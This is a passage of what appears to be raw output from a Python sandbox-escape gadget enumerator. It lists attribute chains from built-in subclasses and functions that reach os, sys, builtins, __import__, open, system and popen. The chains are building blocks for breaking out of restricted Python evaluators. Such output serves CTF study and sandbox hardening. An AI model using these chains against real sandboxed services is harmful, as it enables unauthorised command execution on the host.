..getuntil.__init__.__self__", "Subclass 107: ..encode.__format__.__self__", "Subclass 135: ..__call__.__getattribute__.__self__", "Subclass 94: ..__subclasshook__.__self__.is_resource", "Subclass 184: ..__setitem__.__repr__.__objclass__", "Subclass 81: ..__init__.__gt__.__self__", "Subclass 184: ..__weakref__.__objclass__.__getitem__", "Subclass 110: ..__getattr__.__repr__.__objclass__", "Subclass 95: .._get_parent_path.__sizeof__.__self__", "Subclass 94: ..__eq__.__sizeof__.__self__", "Subclass 137: ..__set__.__gt__.__self__", "Subclass 80: ..release.__call__.__objclass__", "Subclass 98: ..invalidate_caches.__ne__.__self__", "Subclass 138: ..send.__init_subclass__.__self__", "Subclass 104: ..find_loader.__get__.__self__", "Subclass 107: ..setstate.__ge__.__self__", "Subclass 108: ..setstate.__repr__.__objclass__", "Subclass 140: ..__exit__.__repr__.__objclass__", "Subclass 117: ..__aiter__.__format__.__self__", "Subclass 106: ..__weakref__.__objclass__.encode", "Subclass 184: ..__setitem__.__subclasshook__.__self__", "Subclass 94: ..load_module.__call__.__self__", "Subclass 104: ..get_data.__repr__.__self__", "Subclass 81: ..release.__get__.__objclass__", "Subclass 106: ..decode.__call__.__self__", "Subclass 137: ..__delete__.__str__.__self__", "Subclass 138: ..__subclasshook__.__self__.throw", "Subclass 114: ..__hash__.__new__.__self__", "Subclass 137: ..setter.__class__", "Subclass 93: ..exec_module", "Subclass 199: ..contents", "Subclass 95: ..append.__call__.__self__", "Subclass 98: ..find_spec.__new__.__self__", "Subclass 134: ..__init__.__new__.__self__", "Subclass 140: ..__enter__.__reduce_ex__.__self__", "Subclass 177: ..pop_all.__getattribute__.__self__", "Subclass 132: ..__call__.__init__.__self__", "Subclass 117: ..__aiter__.__call__.__objclass__", "Subclass 136: ..__call__.__format__.__self__", "Subclass 172: .._make_unbound_method.__eq__.__self__", "Subclass 136: ..__repr__.__call__.__self__", "Subclass 108: ..decode.__ge__.__self__", "Subclass 138: ..__iter__.__ne__.__self__", "Subclass 107: ..setstate.__gt__.__self__", "Subclass 174: ..__get__.__repr__.__objclass__", "Subclass 138: ..__next__.__reduce_ex__.__self__", "Subclass 94: ..__hash__.__repr__.__self__", "Subclass 133: ..__getattr__.__call__.__self__", "Subclass 183: ..__init__.__getattribute__.__self__", "Subclass 110: ..__exit__.__repr__.__self__", "Subclass 94: ..resource_path.__hash__.__self__", "Subclass 86: ..module_repr.__ne__.__self__", "Subclass 84: ..module_repr.__le__.__self__", "Subclass 175: ..__subclasshook__.__self__.__call__", "Subclass 109: ..writelines.__sizeof__.__self__", "Subclass 183: ..opengroup.__ge__.__self__", "Subclass 96: ..__weakref__.__objclass__.get_code", "Subclass 97: .._path_hooks.__func__.__class__", "Subclass 185: ..__init__.__call__.__objclass__", "Subclass 198: ..create_module.__class__", "Subclass 194: ..__class__.__new__", "Subclass 177: ..callback.__ne__.__self__", "Subclass 105: ..is_resource.__ge__.__self__", "Subclass 184: ..__repr__.__reduce__.__self__", "Subclass 176: ..__init__.__sizeof__.__self__", "Subclass 184: ..__len__.__eq__.__self__", "Subclass 137: ..__set__.__eq__.__self__", "Subclass 138: ..__init__.__call__.__self__", "Subclass 164: ..repr_str.__lt__.__self__", "Subclass 175: ..__init_subclass__.__self__.__call__", "Subclass 177: ..pop_all.__reduce__.__self__", "Subclass 164: .._repr_iterable.__dir__.__self__", "Subclass 172: ..__init__.__setattr__.__self__", "Subclass 185: ..__weakref__.__objclass__.tell", "Subclass 80: ..__init__", "Subclass 185: ..error.__init__.__self__", "Subclass 109: ..read.__repr__.__self__", "Subclass 198: ..module_repr.__gt__.__self__", "Subclass 183: ..__init__.__reduce__.__self__", "Subclass 137: ..__subclasshook__.__self__.deleter", "Subclass 179: ..__class__.__bool__", "Subclass 110: ..__getattr__.__class__", "Subclass 164: ..__init__.__hash__.__self__", "Subclass 110: ..__getattr__.__subclasshook__.__self__", 'Global func 1: ..__init__.__self__.__class__', "Subclass 96: ..load_module.__eq__.__self__", "Subclass 138: ..__init__.__class__", "Subclass 94: ..get_filename.__lt__.__self__", "Subclass 138: ..__next__.__eq__.__self__", "Subclass 93: ..create_module.__delattr__.__self__", "Subclass 96: ..is_package.__reduce_ex__.__self__", "Subclass 105: ..__weakref__.__objclass__.contents", "Subclass 104: ..get_code.__get__.__self__", "Subclass 183: ..closegroup.__new__.__self__", "Subclass 132: ..__class__._abc_caches_clear", "Subclass 199: ..open_resource.__lt__.__self__", "Subclass 96: ..load_module.__call__.__self__", "Subclass 138: ..__iter__.__subclasshook__.__self__", "Subclass 164: ..repr_instance.__delattr__.__self__", "Subclass 164: ..repr_tuple.__lt__.__self__", "Subclass 131: ..__contains__.__new__.__self__", "Subclass 83: ..__subclasshook__.__self__.__repr__", "Subclass 93: ..__subclasshook__.__self__.load_module", "Subclass 107: ..setstate.__init__.__self__", "Subclass 108: ..decode.__delattr__.__self__", "Subclass 140: ..__enter__.__new__.__self__", "Subclass 137: ..setter.__get__.__self__", "Subclass 83: ..__init__.__dir__.__self__", "Subclass 83: ..__init__.__eq__.__self__", "Subclass 177: .._create_exit_wrapper.__new__.__self__", "Subclass 94: ..__eq__.__subclasshook__.__self__", "Subclass 198: ..__subclasshook__.__self__.load_module", "Subclass 110: ..__enter__.__get__.__self__", "Subclass 110: ..__iter__.__eq__.__self__", "Subclass 140: ..__init__.__ne__.__self__", "Subclass 137: ..__init__.__eq__.__self__", "Subclass 109: ..readline.__ge__.__self__", "Subclass 177: ..enter_context.__call__.__objclass__", "Subclass 115: ..__await__.__call__.__objclass__", "Subclass 81: ..__repr__.__dir__.__self__", "Subclass 186: ..scan.__ne__.__self__", "Subclass 174: ..__init__.__repr__.__objclass__", "Subclass 183: ..__init__.__get__.__self__", "Subclass 86: ..load_module.__func__", "Subclass 185: ..getwhile.__setattr__.__self__", "Subclass 109: ..__init_subclass__.__self__.writelines", "Subclass 172: ..__init__.__le__.__self__", "Subclass 164: ..repr_set.__delattr__.__self__", "Subclass 95: ..append.__dir__.__self__", "Subclass 81: ..acquire.__call__.__objclass__", "Subclass 185: ..getwhile.__get__.__objclass__", "Subclass 109: ..__next__.__ge__.__self__", "Subclass 196: ..Pattern.__call__.__func__", "Subclass 82: ..__enter__.__getattribute__.__self__", "Subclass 96: ..module_repr.__self__.get_code", "Subclass 177: ..push.__get__.__self__", "Subclass 183: ..opengroup.__dir__.__self__", "Subclass 96: ..__init__.__reduce__.__self__", "Subclass 196: ..Pattern.__class__.__instancecheck__", "Subclass 81: ..__repr__.__sizeof__.__self__", "Subclass 104: ..load_module.__getattribute__.__self__", "Subclass 107: ..__weakref__.__objclass__.encode", "Subclass 84: ..get_source.__func__.__class__", "Subclass 81: ..__init__.__getattribute__.__self__", "Subclass 84: ..exec_module.__self__.module_repr", "Subclass 133: ..__exit__.__gt__.__self__", "Subclass 108: ..setstate.__get__.__self__", "Subclass 135: .._Printer__setup.__repr__.__objclass__", "Subclass 82: ..__enter__.__format__.__self__", "Subclass 117: ..__class__.__subclasscheck__", "Subclass 164: ..repr_set.__lt__.__self__", "Subclass 104: ..__subclasshook__.__self__.__repr__", "Subclass 119: ..__class__.__instancecheck__.__class__", "Subclass 108: ..setstate.__new__.__self__", "Subclass 83: ..__repr__.__reduce_ex__.__self__", "Subclass 164: ..repr_frozenset.__format__.__self__", "Subclass 87: ..__exit__.__repr__.__objclass__", "Subclass 96: ..get_code.__repr__.__objclass__", "Subclass 192: ..__init_subclass__.__self__.__new__", "Subclass 107: ..__init__.__reduce_ex__.__self__", "Subclass 173: ..__subclasshook__.__self__.__get__", "Subclass 107: ..setstate.__le__.__self__", "Subclass 185: ..seek.__ge__.__self__", "Subclass 105: ..open_resource.__reduce_ex__.__self__", "Subclass 107: ..reset.__reduce__.__self__", "Subclass 114: ..__class__._abc_registry_clear.__class__", "Subclass 172: ..__init__.__lt__.__self__", "Subclass 131: ..__class__.__instancecheck__.__class__", "Subclass 110: ..writelines.__class__", "Subclass 110: ..readline.__sizeof__.__self__", "Subclass 81: ..__repr__.__ne__.__self__", "Subclass 137: ..getter.__dir__.__self__", "Subclass 164: ..__init__.__dir__.__self__", "Subclass 137: ..getter.__get__.__objclass__", "Subclass 108: ..__weakref__.__objclass__.reset", "Subclass 184: ..__init_subclass__.__self__.__repr__", "Subclass 94: ..get_resource_reader.__class__", "Subclass 108: ..getstate.__repr__.__self__", "Subclass 177: ..__weakref__.__objclass__._create_exit_wrapper", "Subclass 109: ..__getattr__.__dir__.__self__", "Subclass 82: ..__weakref__.__objclass__.__exit__", "Subclass 183: ..__init__.__delattr__.__self__", "Subclass 104: ..get_code.__setattr__.__self__", "Subclass 81: ..acquire.__subclasshook__.__self__", "Subclass 177: ..pop_all.__repr__.__objclass__", "Subclass 177: ..__init__.__init_subclass__.__self__", "Subclass 138: ..__next__.__call__.__self__", "Subclass 109: ..__init__.__ne__.__self__", "Subclass 109: ..writelines.__lt__.__self__", "Subclass 93: ..is_package.__eq__.__self__", "Subclass 104: ..load_module.__hash__.__self__", "Subclass 83: ..__init__.__hash__.__self__", "Subclass 95: ..__contains__.__setattr__.__self__", "Subclass 137: ..__subclasshook__.__self__.__get__", "Subclass 104: ..find_module.__format__.__self__", "Subclass 179: ..__class__._check_for_existing_members", "Subclass 86: ..exec_module.__lt__.__self__", "Subclass 134: ..__repr__.__subclasshook__.__self__", "Subclass 135: ..__call__", "Subclass 195: ..IO.__exit__.__class__", "Subclass 93: ..load_module.__lt__.__self__", "Subclass 108: ..reset.__get__.__objclass__", "Subclass 110: ..reset.__setattr__.__self__", "Subclass 105: ..contents.__lt__.__self__", "Subclass 131: ..__class__.__new__", "Subclass 195: ..BinaryIO.writable.__class__", "Subclass 96: ..load_module.__setattr__.__self__", "Subclass 109: ..__subclasshook__.__self__.readline", "Subclass 95: .._get_parent_path.__delattr__.__self__", "Subclass 139: ..__str__.__repr__.__self__", "Subclass 83: ..__init__.__gt__.__self__", "Subclass 133: ..__init_subclass__.__self__.__init__", "Subclass 108: ..setstate.__sizeof__.__self__", "Subclass 177: .._create_exit_wrapper.__class__", "Subclass 95: ..__contains__.__get__.__self__", "Subclass 174: ..__init__.__init__.__self__", "Subclass 92: ..find_module.__func__.__class__", "Subclass 138: ..__init__.__lt__.__self__", "Subclass 95: .._find_parent_path_names.__get__.__self__", "Subclass 98: ..find_module.__init__.__self__", "Subclass 164: ..repr.__init__.__self__", "Subclass 109: ..seek.__init_subclass__.__self__", "Subclass 109: ..__exit__.__reduce__.__self__", "Subclass 109: ..write.__setattr__.__self__", "Subclass 80: ..has_deadlock.__sizeof__.__self__", "Subclass 185: ..seek.__class__", "Subclass 39: ..__code__.__objclass__", "Subclass 195: ..IO.tell.__class__", "Subclass 82: ..__enter__.__get__.__self__", "Subclass 98: .._get_spec.__repr__.__self__", "Subclass 110: ..__init_subclass__.__self__.writelines", "Subclass 195: ..BinaryIO.fileno.__class__", "Subclass 137: ..getter.__le__.__self__", "Subclass 105: ..open_resource.__lt__.__self__", "Subclass 105: ..open_resource", "Subclass 176: ..__init__.__reduce_ex__.__self__", "Subclass 104: ..find_module.__lt__.__self__", "Subclass 199: ..is_resource.__lt__.__self__", "Subclass 138: ..__await__.__ge__.__self__", "Subclass 173: ..__init__.__subclasshook__.__self__", "Subclass 177: ..__weakref__.__objclass__.pop_all", "Subclass 185: ..error.__getattribute__.__self__", "Subclass 109: ..write.__format__.__self__", "Subclass 97: .._path_hooks.__func__", "Subclass 184: ..__init__.__lt__.__self__", "Subclass 104: ..load_module.__subclasshook__.__self__", "Subclass 173: ..register.__delattr__.__self__", "Subclass 183: ..closegroup.__ge__.__self__", "Subclass 164: ..repr_list.__delattr__.__self__", "Subclass 98: .._get_spec.__reduce__.__self__", "Subclass 108: ..reset.__repr__.__objclass__", "Subclass 131: ..__contains__.__gt__.__self__", "Subclass 172: ..__get__.__init__.__self__", "Subclass 185: ..getuntil.__ge__.__self__", "Subclass 172: ..__init__.__getattribute__.__self__", "Subclass 138: ..send.__call__.__self__", "Subclass 104: ..get_data.__le__.__self__", "Subclass 107: ..setstate.__setattr__.__self__", "Subclass 95: .._get_parent_path.__format__.__self__", "Subclass 137: ..deleter.__new__.__self__", "Subclass 93: ..load_module.__subclasshook__.__self__", "Subclass 136: ..__call__.__getattribute__.__self__", "Subclass 94: ..is_resource", "Subclass 104: ..get_source.__hash__.__self__", "Subclass 140: ..__repr__.__get__.__objclass__", "Subclass 137: ..__set__.__delattr__.__self__", "Subclass 174: ..__set_name__.__getattribute__.__self__", "Subclass 199: ..resource_path.__setattr__.__self__", "Subclass 177: .._push_exit_callback.__le__.__self__", "Subclass 164: ..repr_dict", "Subclass 185: ..tell.__init_subclass__.__self__", "Subclass 184: ..getwidth.__eq__.__self__", "Subclass 195: ..IO.flush", "Subclass 184: ..insert.__get__.__objclass__", "Subclass 117: ..__class__._abc_registry_clear.__class__", "Subclass 184: ..__init__.__class__", "Subclass 173: ..register.__class__", "Subclass 138: ..throw.__init__.__self__", "Subclass 137: ..setter.__ne__.__self__", "Subclass 96: ..load_module.__dir__.__self__", "Subclass 110: ..__enter__.__reduce_ex__.__self__", "Subclass 104: ..__init_subclass__.__self__.get_filename", "Subclass 185: .._Tokenizer__next.__gt__.__self__", "Subclass 192: ..__new__.__setattr__.__self__", "Subclass 109: ..__init__.__repr__.__objclass__", "Subclass 98: ..find_loader.__format__.__self__", "Subclass 173: ..register.__getattribute__.__self__", "Subclass 133: ..__exit__.__get__.__objclass__", "Subclass 135: ..__repr__.__gt__.__self__", "Subclass 140: ..__repr__.__ne__.__self__", "Subclass 39: ..__defaults__.__objclass__", "Subclass 184: ..insert.__get__.__self__", "Subclass 108: ..getstate.__call__.__objclass__", "Subclass 95: ..__getitem__.__subclasshook__.__self__", "Subclass 185: ..getwhile.__dir__.__self__", "Subclass 134: ..__call__.__repr__.__self__", "Subclass 140: ..__init__.__le__.__self__", "Subclass 94: ..contents.__dir__.__self__", "Subclass 131: ..__subclasshook__.__func__.__class__", "Subclass 109: ..readline.__reduce__.__self__", "Subclass 198: ..create_module.__gt__.__self__", "Subclass 186: ..__init__.__reduce_ex__.__self__", "Subclass 106: ..encode.__repr__.__self__", "Subclass 176: ..__init__.__call__.__objclass__", "Subclass 139: ..__init__.__lt__.__self__", "Subclass 109: ..readlines.__delattr__.__self__", "Subclass 184: ..append.__le__.__self__", "Subclass 84: ..module_repr.__setattr__.__self__"}, 'builtins': {"Subclass 106: ..decode.__globals__", "Subclass 164: ..__init__.__globals__"}, '__builtins__': {"Subclass 183: ..__init__.__globals__", 'Global func 1: ..__globals__.__setitem__.__self__', "Subclass 137: ..__delete__.__globals__", 'Global func 1: ..__globals__.__eq__.__self__', 'Global func 1: ..__globals__.__init__.__self__', 'Global func 1: ..__globals__.__len__.__self__', "Subclass 80: ..__init__.__globals__", "Subclass 134: ..__call__.__globals__", 'Global func 1: ..__globals__.__delitem__.__self__', 'Global func 1: ..__globals__.__reduce__.__self__', 'Global func 1: ..__globals__.__contains__.__self__', 'Global func 1: ..__globals__.__or__.__self__', 'Global func 1: ..__sizeof__.__self__.__globals__', "Subclass 164: ..__init__.__globals__", 'Global func 1: ..__le__.__self__.__globals__', 'Global func 1: ..__reduce_ex__.__self__.__globals__', 'Global func 1: ..__globals__.__le__.__self__', 'Global func 1: ..__globals__.__dir__.__self__', "Subclass 106: ..decode.__globals__", 'Global func 1: ..__repr__.__self__.__globals__', 'Global func 1: ..__globals__.setdefault.__self__', 'Global func 1: ..__globals__.__reversed__.__self__', 'Global func 1: ..__globals__.popitem.__self__', 'Global func 1: ..__getattribute__.__self__.__globals__', 'Global func 1: ..__str__.__self__.__globals__', 'Global func 1: ..__globals__.__str__.__self__', 'Global func 1: ..__globals__.items.__self__', 'Global func 1: ..__globals__.update.__self__', "Subclass 112: ..__class__.__instancecheck__.__globals__", "Subclass 186: ..__init__.__globals__", 'Global func 1: ..__get__.__self__.__globals__', 'Global func 1: ..__globals__.__gt__.__self__', 'Global func 1: ..__globals__.clear.__self__', "Subclass 92: .._open_registry.__func__.__globals__", 'Global func 1: ..__globals__.__getattribute__.__self__', 'Global func 1: ..__globals__.__iter__.__self__', 'Global func 1: ..__globals__.get.__self__', 'Global func 1: ..__ne__.__self__.__globals__', "Subclass 114: ..__hash__.__globals__", 'Global func 1: ..__globals__.__sizeof__.__self__', 'Global func 1: ..__lt__.__self__.__globals__', 'Global func 1: ..__globals__.__ge__.__self__', 'Global func 1: ..__hash__.__self__.__globals__', "Subclass 187: ..__init_subclass__.__func__.__globals__", 'Global func 1: ..__globals__.__setattr__.__self__', 'Global func 1: ..__globals__.__getitem__.__self__', 'Global func 1: ..__globals__.keys.__self__', 'Global func 1: ..__globals__.__reduce_ex__.__self__', 'Global func 1: ..__init__.__self__.__globals__', "Subclass 197: ..find_module.__globals__", 'Global func 1: ..__globals__.copy.__self__', "Subclass 139: ..__init__.__globals__", 'Global func 1: ..__format__.__self__.__globals__', "Subclass 133: ..__enter__.__globals__", "Subclass 172: ..__get__.__globals__", 'Global func 1: ..__globals__.__lt__.__self__', 'Global func 1: ..__globals__.__ne__.__self__', 'Global func 1: ..__ge__.__self__.__globals__', 'Global func 1: ..__eq__.__self__.__globals__', 'Global func 1: ..__globals__.__delattr__.__self__', 'Global func 1: ..__globals__.__format__.__self__', 'Global func 1: ..__globals__.pop.__self__', 'Global func 1: ..__setattr__.__self__.__globals__', 'Global func 1: ..__dir__.__self__.__globals__', 'Global func 1: ..__reduce__.__self__.__globals__', "Subclass 175: ..__call__.__globals__", 'Global func 1: ..__globals__.values.__self__', 'Global func 1: ..__globals__.__ior__.__self__', 'Global func 1: ..__globals__.__repr__.__self__', 'Global func 1: ..__gt__.__self__.__globals__', 'Global func 1: ..__delattr__.__self__.__globals__', "Subclass 104: ..__init__.__globals__", 'Global func 1: ..__globals__', 'Global func 1: ..__globals__.__ror__.__self__', "Subclass 179: ..__class__.__bool__.__globals__", 'Global func 1: ..__call__.__self__.__globals__'}, 'open': {'Global func 0: ..__self__.isinstance.__self__', 'Global func 0: ..__self__.sorted.__self__', 'Global func 0: ..__reduce_ex__.__self__.__self__', 'Global func 0: ..__self__.all.__self__', 'Global func 0: ..__self__.ascii.__self__', 'Global func 0: ..__call__.__self__.__self__', 'Global func 0: ..__setattr__.__self__.__self__', 'Global func 0: ..__gt__.__self__.__self__', 'Global func 0: ..__self__.max.__self__', 'Global func 0: ..__getattribute__.__self__.__self__', "Subclass 106: ..decode.__globals__", 'Global func 0: ..__self__.input.__self__', 'Global func 0: ..__self__.hash.__self__', 'Global func 0: ..__eq__.__self__.__self__', 'Global func 0: ..__self__.issubclass.__self__', 'Global func 0: ..__self__.eval.__self__', 'Global func 0: ..__self__.next.__self__', 'Global func 0: ..__self__.any.__self__', 'Global func 0: ..__hash__.__self__.__self__', 'Global func 0: ..__self__.len.__self__', 'Global func 0: ..__ne__.__self__.__self__', 'Global func 0: ..__sizeof__.__self__.__self__', 'Global func 0: ..__self__.format.__self__', 'Global func 0: ..__self__.bin.__self__', 'Global func 0: ..__self__.exec.__self__', 'Global func 0: ..__self__.delattr.__self__', 'Global func 0: ..__self__.min.__self__', 'Global func 0: ..__self__.hex.__self__', 'Global func 0: ..__self__.hasattr.__self__', 'Global func 0: ..__format__.__self__.__self__', 'Global func 0: ..__init__.__self__.__self__', 'Global func 0: ..__self__.abs.__self__', 'Global func 0: ..__self__.__import__.__self__', 'Global func 0: ..__self__.round.__self__', 'Global func 0: ..__self__.__build_class__.__self__', 'Global func 0: ..__self__.callable.__self__', 'Global func 0: ..__repr__.__self__.__self__', "Subclass 133: ..__enter__.__globals__", 'Global func 0: ..__self__', 'Global func 0: ..__self__.iter.__self__', 'Global func 0: ..__self__.globals.__self__', 'Global func 0: ..__self__.oct.__self__', 'Global func 0: ..__self__.setattr.__self__', 'Global func 0: ..__self__.vars.__self__', 'Global func 0: ..__self__.repr.__self__', 'Global func 0: ..__dir__.__self__.__self__', 'Global func 0: ..__reduce__.__self__.__self__', 'Global func 0: ..__self__.getattr.__self__', 'Global func 0: ..__self__.ord.__self__', 'Global func 0: ..__self__.print.__self__', 'Global func 0: ..__self__.id.__self__', 'Global func 0: ..__str__.__self__.__self__', 'Global func 0: ..__le__.__self__.__self__', 'Global func 0: ..__self__.compile.__self__', 'Global func 0: ..__self__.divmod.__self__', 'Global func 0: ..__self__.chr.__self__', 'Global func 0: ..__self__.locals.__self__', 'Global func 0: ..__self__.breakpoint.__self__', 'Global func 0: ..__self__.dir.__self__', 'Global func 0: ..__self__.sum.__self__', 'Global func 0: ..__self__.open.__self__', 'Global func 0: ..__delattr__.__self__.__self__', 'Global func 0: ..__ge__.__self__.__self__', 'Global func 0: ..__lt__.__self__.__self__', 'Global func 0: ..__self__.pow.__self__'}, 'os': {'Global func 1: ..__globals__.__setitem__.__self__', 'Global func 1: ..__globals__.__init__.__self__', 'Global func 1: ..__globals__.__eq__.__self__', 'Global func 1: ..__globals__.__len__.__self__', 'Global func 1: ..__sizeof__.__self__.__globals__', 'Global func 1: ..__globals__.__reduce__.__self__', 'Global func 1: ..__globals__.__delitem__.__self__', 'Global func 1: ..__globals__.__contains__.__self__', 'Global func 1: ..__globals__.__or__.__self__', 'Global func 1: ..__le__.__self__.__globals__', 'Global func 1: ..__reduce_ex__.__self__.__globals__', 'Global func 1: ..__globals__.__le__.__self__', 'Global func 1: ..__globals__.__dir__.__self__', 'Global func 1: ..__repr__.__self__.__globals__', 'Global func 1: ..__globals__.setdefault.__self__', 'Global func 1: ..__globals__.__reversed__.__self__', 'Global func 1: ..__globals__.popitem.__self__', 'Global func 1: ..__getattribute__.__self__.__globals__', 'Global func 1: ..__str__.__self__.__globals__', 'Global func 1: ..__globals__.__str__.__self__', 'Global func 1: ..__globals__.items.__self__', 'Global func 1: ..__globals__.update.__self__', 'Global func 1: ..__globals__.__gt__.__self__', 'Global func 1: ..__get__.__self__.__globals__', 'Global func 1: ..__globals__.clear.__self__', 'Global func 1: ..__ne__.__self__.__globals__', 'Global func 1: ..__globals__.__getattribute__.__self__', 'Global func 1: ..__globals__.__iter__.__self__', 'Global func 1: ..__globals__.get.__self__', 'Global func 1: ..__lt__.__self__.__globals__', 'Global func 1: ..__globals__.__sizeof__.__self__', 'Global func 1: ..__globals__.__ge__.__self__', 'Global func 1: ..__hash__.__self__.__globals__', 'Global func 1: ..__globals__.__setattr__.__self__', 'Global func 1: ..__globals__.__getitem__.__self__', 'Global func 1: ..__globals__.keys.__self__', 'Global func 1: ..__globals__.__reduce_ex__.__self__', 'Global func 1: ..__init__.__self__.__globals__', 'Global func 1: ..__globals__.copy.__self__', 'Global func 1: ..__format__.__self__.__globals__', 'Global func 1: ..__globals__.__ne__.__self__', 'Global func 1: ..__globals__.__lt__.__self__', 'Global func 1: ..__ge__.__self__.__globals__', 'Global func 1: ..__globals__.__delattr__.__self__', 'Global func 1: ..__globals__.__format__.__self__', 'Global func 1: ..__eq__.__self__.__globals__', 'Global func 1: ..__globals__.pop.__self__', 'Global func 1: ..__setattr__.__self__.__globals__', 'Global func 1: ..__dir__.__self__.__globals__', 'Global func 1: ..__reduce__.__self__.__globals__', 'Global func 1: ..__globals__.values.__self__', 'Global func 1: ..__globals__.__ior__.__self__', 'Global func 1: ..__globals__.__repr__.__self__', 'Global func 1: ..__gt__.__self__.__globals__', 'Global func 1: ..__delattr__.__self__.__globals__', 'Global func 1: ..__globals__', 'Global func 1: ..__globals__.__ror__.__self__', 'Global func 1: ..__call__.__self__.__globals__'}, 'subprocess': set(), 'commands': set(), 'pty': set(), 'importlib': set(), 'imp': set(), 'sys': {'Global func 1: ..__globals__.__setitem__.__self__', 'Global func 1: ..__globals__.__init__.__self__', 'Global func 1: ..__globals__.__eq__.__self__', 'Global func 1: ..__globals__.__len__.__self__', 'Global func 1: ..__sizeof__.__self__.__globals__', "Subclass 80: ..__init__.__globals__", "Subclass 134: ..__call__.__globals__", 'Global func 1: ..__globals__.__delitem__.__self__', 'Global func 1: ..__globals__.__reduce__.__self__', 'Global func 1: ..__globals__.__contains__.__self__', 'Global func 1: ..__globals__.__or__.__self__', 'Global func 1: ..__le__.__self__.__globals__', 'Global func 1: ..__reduce_ex__.__self__.__globals__', 'Global func 1: ..__globals__.__le__.__self__', 'Global func 1: ..__globals__.__dir__.__self__', "Subclass 106: ..decode.__globals__", 'Global func 1: ..__repr__.__self__.__globals__', 'Global func 1: ..__globals__.setdefault.__self__', 'Global func 1: ..__globals__.__reversed__.__self__', 'Global func 1: ..__globals__.popitem.__self__', 'Global func 1: ..__getattribute__.__self__.__globals__', 'Global func 1: ..__str__.__self__.__globals__', 'Global func 1: ..__globals__.__str__.__self__', 'Global func 1: ..__globals__.items.__self__', 'Global func 1: ..__globals__.update.__self__', 'Global func 1: ..__globals__.__gt__.__self__', 'Global func 1: ..__get__.__self__.__globals__', 'Global func 1: ..__globals__.clear.__self__', "Subclass 92: .._open_registry.__func__.__globals__", 'Global func 1: ..__globals__.__getattribute__.__self__', 'Global func 1: ..__globals__.__iter__.__self__', 'Global func 1: ..__globals__.get.__self__', 'Global func 1: ..__ne__.__self__.__globals__', "Subclass 114: ..__hash__.__globals__", 'Global func 1: ..__globals__.__sizeof__.__self__', 'Global func 1: ..__lt__.__self__.__globals__', 'Global func 1: ..__globals__.__ge__.__self__', 'Global func 1: ..__hash__.__self__.__globals__', "Subclass 187: ..__init_subclass__.__func__.__globals__", 'Global func 1: ..__globals__.__setattr__.__self__', 'Global func 1: ..__globals__.__getitem__.__self__', 'Global func 1: ..__globals__.keys.__self__', 'Global func 1: ..__globals__.__reduce_ex__.__self__', 'Global func 1: ..__init__.__self__.__globals__', 'Global func 1: ..__globals__.copy.__self__', "Subclass 139: ..__init__.__globals__", 'Global func 1: ..__format__.__self__.__globals__', "Subclass 133: ..__enter__.__globals__", 'Global func 1: ..__globals__.__ne__.__self__', 'Global func 1: ..__globals__.__lt__.__self__', 'Global func 1: ..__ge__.__self__.__globals__', 'Global func 1: ..__eq__.__self__.__globals__', 'Global func 1: ..__globals__.__delattr__.__self__', 'Global func 1: ..__globals__.__format__.__self__', 'Global func 1: ..__globals__.pop.__self__', 'Global func 1: ..__setattr__.__self__.__globals__', 'Global func 1: ..__dir__.__self__.__globals__', 'Global func 1: ..__reduce__.__self__.__globals__', "Subclass 175: ..__call__.__globals__", 'Global func 1: ..__globals__.values.__self__', 'Global func 1: ..__globals__.__ior__.__self__', 'Global func 1: ..__globals__.__repr__.__self__', 'Global func 1: ..__gt__.__self__.__globals__', 'Global func 1: ..__delattr__.__self__.__globals__', "Subclass 104: ..__init__.__globals__", 'Global func 1: ..__globals__', 'Global func 1: ..__globals__.__ror__.__self__', "Subclass 179: ..__class__.__bool__.__globals__", 'Global func 1: ..__call__.__self__.__globals__'}, 'pip': set(), 'pdb': set(), 'system': {"Subclass 133: ..__enter__.__globals__"}, 'popen': {"Subclass 133: ..__enter__.__globals__"}, 'getstatusoutput': set(), 'getoutput': set(), 'call': set(), 'Popen': set(), 'spawn': set(), 'import_module': set(), '__import__': {'Global func 0: ..__self__.isinstance.__self__', 'Global func 0: ..__self__.sorted.__self__', 'Global func 0: ..__reduce_ex__.__self__.__self__', 'Global func 0: ..__self__.all.__self__', "Subclass 80: ..__init__.__globals__", 'Global func 0: ..__call__.__self__.__self__', 'Global func 0: ..__self__.ascii.__self__', 'Global func 0: ..__setattr__.__self__.__self__', 'Global func 0: ..__gt__.__self__.__self__', 'Global func 0: ..__self__.max.__self__', 'Global func 0: ..__getattribute__.__self__.__self__', 'Global func 0: ..__self__.input.__self__', 'Global func 0: ..__self__.hash.__self__', 'Global func 0: ..__eq__.__self__.__self__', 'Global func 0: ..__self__.issubclass.__self__', 'Global func 0: ..__self__.eval.__self__', 'Global func 0: ..__self__.next.__self__', 'Global func 0: ..__self__.any.__self__', 'Global func 0: ..__hash__.__self__.__self__', 'Global func 0: ..__self__.len.__self__', 'Global func 0: ..__ne__.__self__.__self__', 'Global func 0: ..__sizeof__.__self__.__self__', 'Global func 0: ..__self__.format.__self__', 'Global func 0: ..__self__.bin.__self__', 'Global func 0: ..__self__.exec.__self__', 'Global func 0: ..__self__.delattr.__self__', 'Global func 0: ..__self__.min.__self__', 'Global func 0: ..__self__.hex.__self__', 'Global func 0: ..__self__.hasattr.__self__', 'Global func 0: ..__format__.__self__.__self__', 'Global func 0: ..__init__.__self__.__self__', 'Global func 0: ..__self__.abs.__self__', 'Global func 0: ..__self__.__import__.__self__', 'Global func 0: ..__self__.round.__self__', 'Global func 0: ..__self__.__build_class__.__self__', 'Global func 0: ..__self__.callable.__self__', 'Global func 0: ..__repr__.__self__.__self__', 'Global func 0: ..__self__', 'Global func 0: ..__self__.oct.__self__', 'Global func 0: ..__self__.iter.__self__', 'Global func 0: ..__self__.globals.__self__', 'Global func 0: ..__self__.setattr.__self__', 'Global func 0: ..__self__.vars.__self__', 'Global func 0: ..__self__.repr.__self__', 'Global func 0: ..__dir__.__self__.__self__', 'Global func 0: ..__self__.ord.__self__', 'Global func 0: ..__self__.getattr.__self__', 'Global func 0: ..__delattr__.__self__.__self__', 'Global func 0: ..__self__.print.__self__', 'Global func 0: ..__self__.id.__self__', 'Global func 0: ..__str__.__self__.__self__', 'Global func 0: ..__le__.__self__.__self__', 'Global func 0: ..__self__.compile.__self__', 'Global func 0: ..__self__.divmod.__self__', 'Global func 0: ..__self__.chr.__self__', 'Global func 0: ..__self__.locals.__self__', 'Global func 0: ..__self__.breakpoint.__self__', 'Global func 0: ..__self__.dir.__self__', 'Global func 0: ..__self__.sum.__self__', 'Global func 0: ..__reduce__.__self__.__self__', 'Global func 0: ..__ge__.__self__.__self__', 'Global func 0: ..__lt__.__self__.__self__', 